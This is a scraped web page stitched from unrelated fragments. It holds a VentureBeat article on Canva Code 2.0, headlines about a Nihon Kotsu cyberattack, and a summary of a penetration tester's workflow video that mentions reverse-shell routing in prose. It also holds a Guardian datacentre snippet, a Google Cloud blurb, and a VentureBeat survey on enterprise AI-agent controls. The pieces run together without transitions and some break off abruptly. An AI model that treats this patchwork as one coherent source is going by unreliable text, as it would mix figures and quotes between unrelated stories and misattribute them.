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The move is Canva's most aggressive push yet into the fast-growing "vibe coding" market, a category that barely existed 18 months ago but has already minted billion-dollar startups and reshaped how non-developers think about building software. But where rivals like Lovable, Replit, and Bolt.new have focused primarily on generating functional code from text prompts, Canva is making a different bet: that the real bottleneck isn't creating the code — it's making the output actually look good.

"Most vibe coding tools stop at functional — generating output that looks the same as everyone else's," Canva states in its announcement. "You might get a working prototype, but making it actually look like yours requires a complex editing surface, a separate design tool, a developer, or endless back-and-forth prompting that rarely lands where you want it.”

Danny Wu, Canva's Head of AI Products, framed the product's positioning in stark terms during an exclusive interview with VentureBeat ahead of the launch.

"We are deliberately targeting non-technical users," Wu said. "Canva Code isn't a tool we're building for developers. What we're trying to do is bring the power of AI coding — and really lightweight coding — into the Canva platform, while answering our users' requests for more interactivity, more customization, and more flexibility, from websites to interactive presentations."

Canva Code 2.0 brings drag-and-drop editing, HTML import, and 75% faster generation to AI-built websites

The update introduces several capabilities designed to collapse the distance between generating code and publishing a polished interactive experience. Users can now create Canva Code projects directly inside other design projects — embedding interactive elements within a whiteboard, presentation deck, or standalone page. Canva has also added more than 50 new templates specifically designed for interactive designs, along with the ability to import raw HTML files from other AI coding tools and convert them into editable Canva designs.

The performance improvements are significant. Canva says it has reduced average code generation time by 75 percent and cut the median time from initial prompt to a published site by 30 percent. The company also reports that integrating Canva Code into the broader Canva editor — allowing users to treat coded outputs like any other design element — has increased active Code users by 25 percent.

Perhaps the most distinctive feature is the editing experience itself. Unlike most AI coding platforms, which require users to re-prompt or modify raw code to make visual changes, Canva Code 2.0 lets users click directly into generated elements to change text, drag and drop images from Canva's built-in library of over 120 million templates and assets, update colors and fonts through a familiar toolbar, or select a specific element and refine it through conversational AI. Every output is fully interactive and automatically adapts to different screen sizes, with a built-in mobile preview.

Wu demonstrated the drag-and-drop editing during the interview, showing how a generated conference website could be modified in real time — swapping in photos, changing fonts to branded alternatives, and editing text directly on the canvas. "The key differentiator with Canva Code is the editability and the kindness of the outputs it generates," he said, though he noted one current limitation: "We don't support moving elements around. You still have to re-prompt for that."

How Canva plans to compete with Lovable, Replit, and Bolt in the booming AI app builder market

Canva's entry into vibe coding at this scale arrives at a pivotal moment for the category. According to market research published by Luminix AI in May 2026, the vibe coding and AI app builder market has reached an estimated $4.7 billion in 2026, with projections pointing toward $12.3 billion by 2027 at roughly 38 percent compound annual growth. The research also estimates that AI-generated code now comprises approximately 41 percent of all code written globally — a figure that would have seemed inconceivable even two years ago.

The competitive landscape has grown ferocious. Lovable, which focuses on conversational, design-forward app generation for non-technical founders, has achieved what may be the fastest revenue ramp in the category's history — reportedly reaching approximately $400 million in annual recurring revenue by early 2026, according to Luminix's analysis. Replit, which transformed its browser-based IDE into a full vibe-coding engine through successive AI agent releases, has tripled its valuation to $9 billion and is targeting $1 billion in run-rate revenue by the end of 2026, per the same report. Bolt.new, which runs a full Node.js environment entirely in the browser, scaled from $4 million to $40 million in ARR within months of launching.

And then there is Canva, which brings something none of those platforms possess: a quarter-billion-user design ecosystem where brands, teams, and individuals already store their visual identities, collaborate on projects, and publish content.

Wu positioned Canva Code not as a direct competitor to these developer-focused tools but as something that fills a gap none of them have addressed. "A lot of the requests that we have been getting and the usage we're seeing is actually with using Canva Code not necessarily as just one artifact, but as part of an overall design, the visual communication they're trying to tell," Wu said. "Like when you have a sales deck, you're able to add a calculator, you're able to add a visualizer of what exactly your product does. That's something where an interactive slide can be worth a thousand pictures."

Why Canva's HTML import feature could turn it into a 'finishing layer' for every AI coding tool

One of the most strategically interesting features in Canva Code 2.0 is its HTML import capability, which allows users to take code generated by any AI tool — including ChatGPT, Claude, Lovable, or Bolt — and bring it into Canva as a fully editable design. The implication is unmistakable: Canva is positioning itself as the place where AI-generated code gets its finishing touches, regardless of where it was originally created.

When asked directly whether this amounts to positioning Canva as a "finishing layer on top of vibe coding," Wu offered a diplomatic but revealing response. "It's really a continuation of our goal to make all design as easy as possible," he said. "We've supported importing PDFs and translating them into docs, importing PowerPoint files — so in one way, it's an expansion of that. But in another way, it's really just listening to what our users want and making Canva both the most useful and the most compatible platform.”

He paused, then added: "It's not that we're deliberately positioning ourselves as a specific layer, say like a finishing layer after vibe coding. We just really want to make our platform the most accessible and the most pluggable."

That language — "most pluggable" — suggests a platform strategy that doesn't require Canva to win the AI code generation race outright. If Canva becomes the default destination for making AI-generated code look professional and on-brand, it captures value from the entire category regardless of which code generation engine users prefer. The strategy also echoes the broader import capabilities that already allow Canva to ingest PowerPoint decks and PDFs from competing platforms, gradually pulling users deeper into the Canva ecosystem without demanding they abandon existing workflows.

What Canva Code can build — and where Danny Wu says it hits its limits

Wu was notably candid about the product's boundaries — a refreshing departure from the typical Silicon Valley product launch. "Canva Code is great for anything that works as a front-end app, and it's especially good when you want to leverage data, data submissions, and interactivity at small to medium scale," he said. "I'll be honest about the limitations. Canva Code is probably not going to be suitable if you're trying to build a website with complex backends, or if you're handling hundreds of thousands of visitors per day."

This candor effectively draws a line between Canva Code and the more ambitious platforms in the space. While Lovable and Replit are pushing toward full-stack application development — complete with databases, authentication, and production-grade hosting — Canva is deliberately limiting its scope to interactive front-end experiences at modest scale. The question is whether that's a strategic weakness or a disciplined focus. For the teachers, small business owners, and marketing teams that make up the bulk of Canva's user base, complex backends and high-traffic scalability are irrelevant concerns. What matters is whether they can create an interactive event page, a property listing website, or a classroom hub that looks professional and works on mobile — without hiring a developer or learning a new tool.

When asked about the AI models powering Canva Code, Wu confirmed the company uses a combination of proprietary and third-party models, including those from OpenAI and Anthropic, but declined to specify the exact mix. "We don't share the exact mix, and it does change over time," he said. "We also route differently depending on what you're asking for and which model family we think is best for handling certain requests."

Canva's AI acquisition spree — from Affinity to Leonardo.ai — now powers its vibe coding push

Canva's broader AI infrastructure has been significantly bolstered by an acquisition strategy that has accelerated over the past two years. In March 2024, the company acquired Affinity, the British creative software suite popular with Mac users, in a deal that Bloomberg reported was valued at "several hundred million pounds." Canva at the time positioned the deal as a way to compete with Adobe's flagship products — Illustrator, Photoshop, and InDesign — by gaining ownership of Affinity's Designer, Photo, and Publisher applications.

Just four months later, Canva acquired Leonardo.ai, an Australian generative AI startup with over 19 million registered users and more than a billion images generated. Canva co-founder Cameron Adams said at the time that Leonardo.ai's technology would be integrated into Canva's Magic Studio generative AI suite.

Together with these acquisitions, Canva Code is the company's attempt to layer interactive, code-driven capabilities on top of a visual design platform that has already been enhanced by professional-grade design tools and generative AI models. The company reports over 32 billion uses of its AI products to date — a staggering figure that underscores how deeply AI is now woven into everyday Canva workflows, even for users who may not think of themselves as using artificial intelligence.

Six million sites published, but Canva's retention data remains an open question

Canva's announcement highlights an impressive traction metric: users have created and published more than six million websites using Canva Code since the feature was first introduced a year ago. But the number deserves scrutiny.

Wu clarified in the interview that the six million figure represents published websites over the past year — meaning sites that were either made public or shared via password-protected or private links. "They may have published publicly, or behind a password, or as a private link. But that's the number of published websites," he said.

When asked about active retention — how many of those sites are still live and being maintained — Wu acknowledged the gap in his data. This is a meaningful distinction. In the vibe coding market, raw creation numbers can be misleading because the barrier to generating a site is so low. The more telling metric — which Canva does not yet provide — would be how many of those six million sites receive regular traffic or have been updated after initial publication.

The early use cases, however, suggest genuine utility beyond novelty. Educators and school administrators are using Canva Code to build classroom hubs, with one teacher creating bespoke webpages for each of their classrooms to keep students and parents updated on announcements. Small businesses, like Alt Marketing School, have built mini apps for fundraising training and interactive roadmaps for their members. For World Book Day, 50 readers created educational games across different subjects, complete with pedagogical guides for classroom use.

Canva Code pricing, data governance, and what enterprise customers need to know

Canva Code 2.0 is available across all of Canva's pricing tiers, including its free plan — a notable decision given that competitors like Lovable, Bolt, and Replit reserve their most capable features for paid subscribers. "As you go from, say, free to pro to business to enterprise, you would get more AI credits and be able to have higher usage of Canva Code," Wu said. "But it is available and it is usable — even free Canva accounts as well as education and not-for-profit accounts."

This credit-based approach mirrors the pricing evolution happening across the entire vibe coding category, where platforms have converged on token or credit systems that meter AI generation capacity rather than gating features behind subscription tiers. The difference is that Canva's free tier serves as an acquisition funnel for a much larger design platform, not just for the coding feature itself.

For the institutional customers Canva increasingly courts — school districts, real estate brokerages, enterprise marketing teams — data governance is a threshold concern. Wu addressed this directly. "All users and customers have full control over how their data is used," he said. "They can choose whether their prompts and data are used for AI training in the settings. For businesses and enterprises, team admins can manage this at the organizational level and guarantee that their inputs, content, and outputs won't be used for training." This opt-out approach reflects a lesson the broader industry has learned the hard way. As The Verge reported when Canva acquired Leonardo.ai, Adobe suffered significant backlash over a policy update regarding user data and AI model training — a controversy Canva appears keen to avoid.

Canva's long-term vision: closing the gap between imagination and what non-technical users can actually build

When asked where Canva Code fits into the company's long-term trajectory — and whether Canva is building toward a full-stack app development platform — Wu steered the conversation back to the company's core audience.

"A huge part of it is reducing the gap between your imagination and what's possible, especially for everyday users — people who don't have a lot of time," he said. "They don't have time to figure out deploys or MCPs or APIs. They just want to design more interactive and more dynamic communication."

He pointed to the rapid improvement in AI model capabilities as a key accelerant. "The kind of things you can create today in one shot — like a 3D visualization of a solar system — you really couldn't have trusted the output a year ago. But today, you have a really high success rate."

Whether Canva Code becomes a durable product category or a feature that gets absorbed into the platform's broader AI workflow will depend on how quickly the company can close the gap between its current front-end focus and the full-stack capabilities that increasingly define the competition. Lovable is shipping Supabase-backed apps with authentication and databases built in. Replit's agents can execute autonomous long-running builds. Bolt.new runs entire Node.js environments in a browser tab. These are fundamentally different ambitions than making a conference landing page look good.

But Canva has never won by matching the technical depth of its competitors. A decade ago, it didn't try to out-feature Adobe — it made design accessible to the 99 percent of people who would never open Photoshop. Now, in a vibe coding market where every tool can generate a working prototype from a prompt, Canva is making the same wager it made in 2012: that for most people, the hardest part was never the building. It was making it look like it came from you.

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Nihon Kotsu Shuts Down Systems 

Japan Taxi Service Affected as Dispatch Operations Remain Offline 

Investigation into the Nihon Kotsu Cyberattack Continues 

SUMMARY

The presenter outlines a practical cybersecurity workflow, covering ergonomic setups, browser isolation, virtual machine troubleshooting, AI-assisted scripting, and network tunneling methods utilized during active security assessments.

ONE-SENTENCE TAKEAWAY

Isolate browser environments, utilize automation scripts, and verify network paths before starting security tests to avoid workflow interruptions.

TOOLS

• Talon Voice – Open-source voice recognition software enabling hands-free computer control and command execution.
• Obsidian – Local-first markdown note-taking application supporting secure, AI-friendly knowledge management.
• AutoHotkey – Windows scripting utility for creating custom macros and remapping keyboard inputs.
• Chrome Debug Commands – Browser developer tools allowing direct inspection of extensions, cookies, and storage.
• Whisper Diarization – Audio processing script that separates speaker tracks and converts recordings to searchable text.
• Hyper-V / WSL – Microsoft virtualization platforms enabling isolated guest environments and Linux subsystem integration.
• OpenConnect / OpenVPN – Command-line tunneling clients used for establishing secure, split-tunnel network connections.
• Jamboree Framework – Portable PowerShell environment that dynamically provisions development tools without altering system paths.
• MOBA Portable – Feature-rich terminal emulator supporting static/dynamic tunnels, auto-reconnect, and embedded X-server capabilities.
• Nmap – Network discovery and security auditing tool utilized for comprehensive port scanning and service detection.

00:00:00 Ergonomic Workspace Configuration

Configures physical workstation elements to reduce strain during extended testing sessions. Proper alignment prevents repetitive stress injuries while maintaining focus on technical tasks.

• Monitor Positioning – Displays should align with eye level to maintain neutral neck posture; the speaker notes their curved 49-inch screen sits slightly high due to chair adjustments.
• Split Keyboard Layout – Utilizes a Freestyle 2 mechanical keyboard, allowing natural shoulder-width arm placement and reducing wrist deviation during prolonged typing.
• Postural Adaptation – Acknowledges that ergonomic equipment requires matching body alignment; elbow rests should sit between hip and shoulder height for optimal leverage.

01:45:00 Voice Control & Note Synchronization

Utilizes auditory input methods and localized knowledge bases to streamline documentation workflows. Separating secure work notes from casual observations prevents data contamination.

• Talon Voice Integration – Runs continuously to handle navigation, text entry, and application switching without manual keyboard interaction.
• Obsidian Migration – Transitions from cloud-based keep apps to local markdown files, enabling direct querying by local AI models while maintaining offline accessibility.
• Note Categorization – Divides information into secure work records and insecure personal logs, ensuring clean data pipelines for future retrieval and analysis.

03:50:00 Browser Extension Management & Security Isolation

Separates web browsing activities from primary work processes to minimize attack surfaces. Running dedicated user profiles prevents plugin conflicts and credential leakage.

• Jailed User Accounts – Creates restricted system profiles that only launch the browser, isolating extensions from core workstation operations.
• Shared Folder Synchronization – Establishes a single directory path bridging work and browsing users, allowing seamless file transfers without cross-contamination.
• Extension Audit Process – Leverages Chrome debug commands to enumerate installed plugins, verifying functionality before deployment on target networks.

06:15:00 Training Optimization & Audio Processing

Accelerates mandatory compliance viewing through speed manipulation and automated transcription. Converting video content into searchable text enables rapid information retrieval.

• Global Speed Control – Increases playback rates up to sixteen times normal speed, drastically reducing time spent on repetitive corporate training modules.
• Whisper Diarization Pipeline – Downloads video tracks, separates speaker voices, and generates timestamped transcripts for quick reference during assessments.
• Download Management – Employs multi-threaded swarm downloaders and classic turbo managers to handle bulk media retrieval without interrupting active workflows.

10:40:00 Virtualization & Network Tunneling Protocols

Establishes isolated testing environments using Windows virtual machines while managing connectivity constraints. Proper session handling prevents unexpected disconnections during remote engagements.

• Enhanced Session Mode – A Hyper-V feature providing higher resolution and shared clipboard functionality; disabling it is required before initiating certain VPN clients to avoid routing conflicts.
• Split Tunneling Mechanics – Routes specific traffic through the virtual network while keeping local resources accessible, preventing complete internet loss during connection tests.
• Certificate Verification – Identifies self-signed SSL mismatches early in the process, documenting them as preliminary findings before proceeding with authentication steps.

15:30:00 Macro Automation & Input Remapping

Remaps frequently used keyboard shortcuts to reduce physical strain and accelerate command execution. Running scripts with elevated privileges ensures reliable input registration across virtual environments.

• Caps Lock Repurposing – Converts the caps lock key into a primary modifier, assigning copy/paste functions to adjacent letters for faster workflow navigation.
• Physical Typing Macros – Simulates keystrokes with deliberate delays, allowing seamless data entry into restricted VM consoles that block standard clipboard operations.
• Administrator Execution Requirement – Highlights that macro scripts must run with elevated privileges to successfully inject inputs across different desktop sessions.

20:15:00 Portable Development Environments & Python Management

Deploys lightweight scripting frameworks that dynamically provision necessary tools without modifying host configurations. Verifying package contents prevents dependency conflicts during testing.

• Jamboree Framework – A PowerShell-driven utility that downloads and configures development stacks on demand, resetting environment variables to maintain system cleanliness.
• NuGet Package Filtering – Queries Microsoft's repository API to retrieve specific Python versions, ensuring compatibility with legacy tunneling scripts.
• Binary Verification Process – Checks extracted archives for bundled pip.exe or pip3.exe executables, eliminating manual module installation steps during rapid deployments.

28:40:00 AI-Assisted Scripting & Debugging Workflows

Generates and refines PowerShell functions through iterative conversational prompts. Validating AI output against actual system behavior prevents silent configuration errors.

• Vibe Coding Approach – Relies on continuous feedback loops with language models to draft, minimize, and debug automation scripts in real-time.
• Parameter Standardization – Enforces strict formatting rules for PowerShell commands, avoiding hardcoded paths and ensuring cross-environment compatibility.
• Temporary Storage Management – Monitors extraction directories to prevent disk saturation, redirecting large package downloads away from constrained system partitions.

35:10:00 Terminal Emulation & Advanced Tunneling Strategies

Facilitates complex network routing through dedicated terminal applications. Configuring dynamic and static tunnels enables reliable reverse connections for remote assessments.

• MOBA Portable Configuration – Utilizes an INI-based tunnel manager that automatically maintains connections across changing IP addresses or Wi-Fi networks.
• Reverse Shell Routing – Establishes outbound channels back to the tester, then proxies all subsequent traffic through those connections for consistent monitoring.
• Proxy Chain Integration – Forces non-proxy-aware applications to route through Burp Suite or custom interceptors using Windows utility wrappers like Priboxy.

42:30:00 Final Connectivity Testing & Engagement Wrap-Up

Executes comprehensive port scans to verify target accessibility before documenting findings. Acknowledging workflow detours ensures realistic time management during active engagements.

• Nmap Verification – Runs full-port scans with verbose output to confirm host responsiveness and identify open services prior to credential testing.
• Connection Refusal Documentation – Captures screenshot evidence of failed routing attempts, providing clear proof of network restrictions for client reporting.
• Workflow Reflection – Recognizes that exploratory debugging adds value but requires time boundaries; balancing thoroughness with engagement scope maintains professional efficiency.

Provide feedback on this episode.

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Journalists often use the term “shoe-leather reporting” to refer to the on-the-ground legwork that goes into covering certain stories. As the tech industry’s focus has shifted from screen-based realities to the physical world of colossal AI datacentres and social media harms, comfortable footwear has become more essential to a tech reporter’s job.

Earlier this week, we published the Guardian’s latest investigation into the datacentres and energy infrastructures that underpin AI – revealing that an £8.2bn AI complex in rural Scotland has misrepresented its plans to be powered entirely by on-site renewables. “Our reporting is showing that you can’t simply wave a magic wand and have a datacentre appear,” says Aisha Down, who covers AI for the Guardian and went to Scotland to investigate the story. “There are a lot of huge physical constraints and reality checks. These physical, tangible things are what makes or sinks the AI boom.”

Want to know the latest from Google Cloud? Find it here in one handy location. Check back regularly for our newest updates, announcements, resources, events, learning opportunities, and more. 

Tip: Not sure where to find what you’re looking for on the Google Cloud blog? Start here: Google Cloud blog 101: Full list of topics, links, and resources.

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Dieser Beitrag Progress fordert ShareFile-Kunden zur Offline-Schaltung der Storage-Zone-Controller auf erschien als erstes auf IT BOLTWISE x Artificial Intelligence.

Enterprises are now retrofitting to catch up with their own standards, and they are budgeting for it: Roughly six in 10 enterprises plan to switch or add vendors in each of five control layers within the next 12 months, and roughly a third — depending on the layer — plan to move within the quarter, the research finds.

There are five main layers where enterprises are building: identity for agents (which agent is allowed to do what, under whose credentials); evaluation of agent output (whether the work is any good); cost telemetry (what each agent costs to run); the context layer (the business data and definitions agents draw on to answer); and the orchestration control plane (the software that coordinates multi-step agent work).

Enterprises are already paying the price for deploying agents ahead of adequate control functions. Fifty-four percent of companies had an agent security incident or near-miss caught before harm in the past 12 months. Twenty-seven percent exercise only reactive control of agent spend — they learn what an agent costs when the invoice arrives, with no per-agent budget or ceiling in place.

Here are the five findings that anchor the set — one finding per layer of the tech stack — and what the data suggests doing first in each.

Expensive hardware is idle: 86% of GPU operators report utilization of 50% or less

Eighty-six percent of enterprises that run their own GPUs report utilization of 50% or less. Wall Street has spent the quarter debating whether the AI buildout is overbuilt. This is buy-side measurement, from the enterprises doing the buying, and the research says the most expensive hardware in buildings of these enterprises runs at no more than half its capacity.

The measurement gap compounds it: A minority 44% rigorously track what their AI compute actually costs and returns. Everyone else is only estimating. And the enterprise shopping process continues regardless: 45% of these enterprises say the emerging compute option they are most likely to evaluate in the next 12 months is an AI-specialized cloud (CoreWeave, Lambda, Crusoe, Nebius). However, under 2% of these enterprises report using one of these neoclouds today.

Moreover, roughly one in three companies appears to be considering a hedge against Nvidia: Asked which emerging compute option they are most likely to evaluate in the next 12 months, 32% of enterprises named non-Nvidia accelerators (AWS Trainium, Google TPUs, AMD), while 28% named next-generation Nvidia GPUs. The data suggests that enterprises should measure the utilization and per-workload cost of the GPUs they already own before committing budget to new compute — whether that's an AI-specialized cloud contract, new accelerators, or more GPUs. 

Most deployed "agents" do single-prompt work: 71% say a quarter or fewer complete multi-step tasks on their own

Seventy-one percent of enterprises say a quarter or fewer of their deployed "agents" can complete multi-step work on their own; the rest are single-prompt chatbots. Only 10% say true agents are the majority of what they run. To be sure, the respondents reported that they are in a position to know these things: 81% said they recommend or decide AI purchases at their companies.

That finding — that most agents are actually just chatbots in trenchcoats — lands amid adoption claims across the industry running well ahead of what enterprises are actually running. Gartner predicted 40% of enterprise applications will be integrated with task-specific AI agents by the end of 2026, up from less than 5% in 2025. It also warned that the most common misconception is referring to these AI assistants as agents, a misunderstanding known as "agentwashing."

Meanwhile, Zapier's enterprise survey said 72% reported deploying or testing autonomous agents; and Writer's 2026 survey has 97% of executives saying their company deployed AI agents in the past year. 

Those surveys asked whether companies have deployed something called an AI agent, and companies said yes. Our survey asked the people running those deployments a harder question: Of the agents you have in production, how many can complete a multi-step task without a person driving each step? The gap matters for two practical reasons. First, the inflated adoption figures are the benchmark boards and vendors use to pressure technical leaders into moving faster — and this data says the real bar is far lower than the headlines suggest. Second, the label determines the bill: A single-prompt chatbot with a human reading every answer needs none of the identity, evaluation, and cost controls this report covers, while a true multi-step agent needs all of them. 

66% let agents push to production on automated evals alone — or are engineering toward it. 5% fully trust those evals

Two-thirds of enterprises fall into one of two camps: 34% already allow an AI agent to push a code or system change to production based on automated evaluation results alone, with no human reviewing it, and another 33% are actively engineering their pipelines to allow that within the next 12 months. Only five percent fully trust the automated evaluations that would make that decision.

The distrust is earned. Half of enterprises shipped an agent that passed internal evaluations and then caused a customer-facing failure in the past year; a quarter watched it happen more than once. Asked to name the biggest weakness in their current evaluations, more enterprises chose “poor alignment with real-world outcomes” than any other answer — 29% of respondents.

And most of the checking happens before an agent ships, then stops. Once agents are live with real users, only 23% of enterprises run real-time quality checks on the answers those agents produce. Another 51% monitor system health only — uptime, request traces, and gateway logs — which tells them the agent is running, and nothing about whether its answers are right. The first move: Before removing human review from any workflow, test your evaluations against production outcomes rather than internal benchmarks, and instrument answer quality, not just uptime.

This finding is explored in more depth in VentureBeat's related coverage of the evaluation gap, which found that larger enterprises are moving faster toward zero-human deployment while also failing more often — and outlines a regression-testing framework built on production outcomes rather than internal benchmarks.

69% run credential sharing somewhere in the agent fleet — and those companies get hit far more often

Sixty-nine percent of companies allow agent credential sharing somewhere in their agent fleet during runtime – meaning multiple agents operating under one API key or service account. Those companies were far more likely to get hit: Organizations with credential sharing anywhere in the fleet experienced a security incident or near-miss at a 63.5% rate (47 of 74), against 40.9% (9 of 22) where every agent has its own scoped identity. 

The takeaway for enterprises is this: Give every agent its own scoped identity, starting with the agents that touch production systems.

57% traced a confident, wrong agent answer to their own missing or inconsistent business context

Fifty-seven percent of enterprises traced at least one confident, wrong agent answer in the past six months to missing or inconsistent business context: wrong metrics, stale definitions, absent documents. Most of them watched it happen more than once.

Most enterprise companies are fixing this, even though they’ve moved forward with agent deployment already: 25% already run a governed semantic layer, or one governed definition of the business that every AI reads from, in production. However, 34% are still building one, and 41% haven't started. The takeaway: Govern the definitions your agents answer from, metrics and entities first, before scaling the agents that depend on them.

The quarter where agent technology “portability” became a priority

One more shift is worth reporting with its limits stated plainly. In our spring orchestration survey wave, the top concern about provider-controlled orchestration was security and permissioning limits (32%). By June, vendor lock-in led at roughly a third, with security limits at 28%. 

Those are two snapshots one quarter apart, and here’s one possible explanation for why portability became a top issue for enterprises. Our June survey went into market after a June 12 U.S. Commerce Department export order took Anthropic's Claude Fable 5 offline for enterprises for roughly three weeks. Meanwhile, Chinese company Z.ai released GLM-5.2's open weights under an MIT license on June 16 at roughly one-sixth of GPT-5.5's price; and Tencent's Hy3 arrived July 6 under Apache 2.0; and OpenAI previewed GPT-5.6 on June 26 to a small group of government-vetted partners, opening it broadly on July 9 after the government's review cleared. The open-weight releases in particular promise enterprises more control over their agents, and while we haven't established a causal link here, the timing is worth noting.

The posture data matches the mood: 51% now expect their primary control plane for enterprise agents to be hybrid — provider-native plus external orchestration — by the end of 2026, up from 34% in the spring survey wave. Enterprises reporting that they rely purely on provider-managed agent services fell from 12% to 7%.

Five layers, no incumbents, 12 months

The synthesis across all five surveys reveals a huge “buying” window. In each of the five control layers, 57% to 64% of enterprises plan to switch or add vendors within 12 months — 64% in infrastructure and in evaluations, 59% in agent security, 57% in retrieval and context — and 26% to 38%, depending on the layer, plan to move within a quarter. No layer has an established incumbent: The most common evaluation tooling is the model provider's built-in evals, tied with no dedicated tooling at all (17% each); 82% of respondents name provider-native or hyperscaler controls as their primary agent security layer; and provider-native retrieval leads the context technology layer (RAG, etc) as well. 

Most enterprises are defaulting today to the built-in tools that ship with the big AI platforms they already use: Anthropic, OpenAI, Google, Microsoft, and AWS. That holds true across every one of these agentic technology layers: enterprises are looking to their primary cloud and model providers to supply the guardrails, evaluations, and retrieval solutions already bundled into those providers' offerings.

Those defaults are winning on convenience, and they're also what the coming spending decisions will test. The survey didn't ask which direction that money moves — toward the platforms' built-in tools or toward the specialists challenging them — which is exactly why every contract in these five layers is worth watching over the next four quarters.

The Q3 survey wave will measure whether the enterprises made good on these budget plans: whether their agents gained scoped identities, whether evaluations got tested against production outcomes, whether GPU utilization rose, and whether the semantic layers under construction shipped.

VentureBeat will release the full Q2 reports across all five VB Pulse trackers at VB Transform, July 14–15 at Hotel Nia in Menlo Park, where we convene enterprise technical leaders building autonomous agents in production. 

Disclosure: VentureBeat produces both this research and VB Transform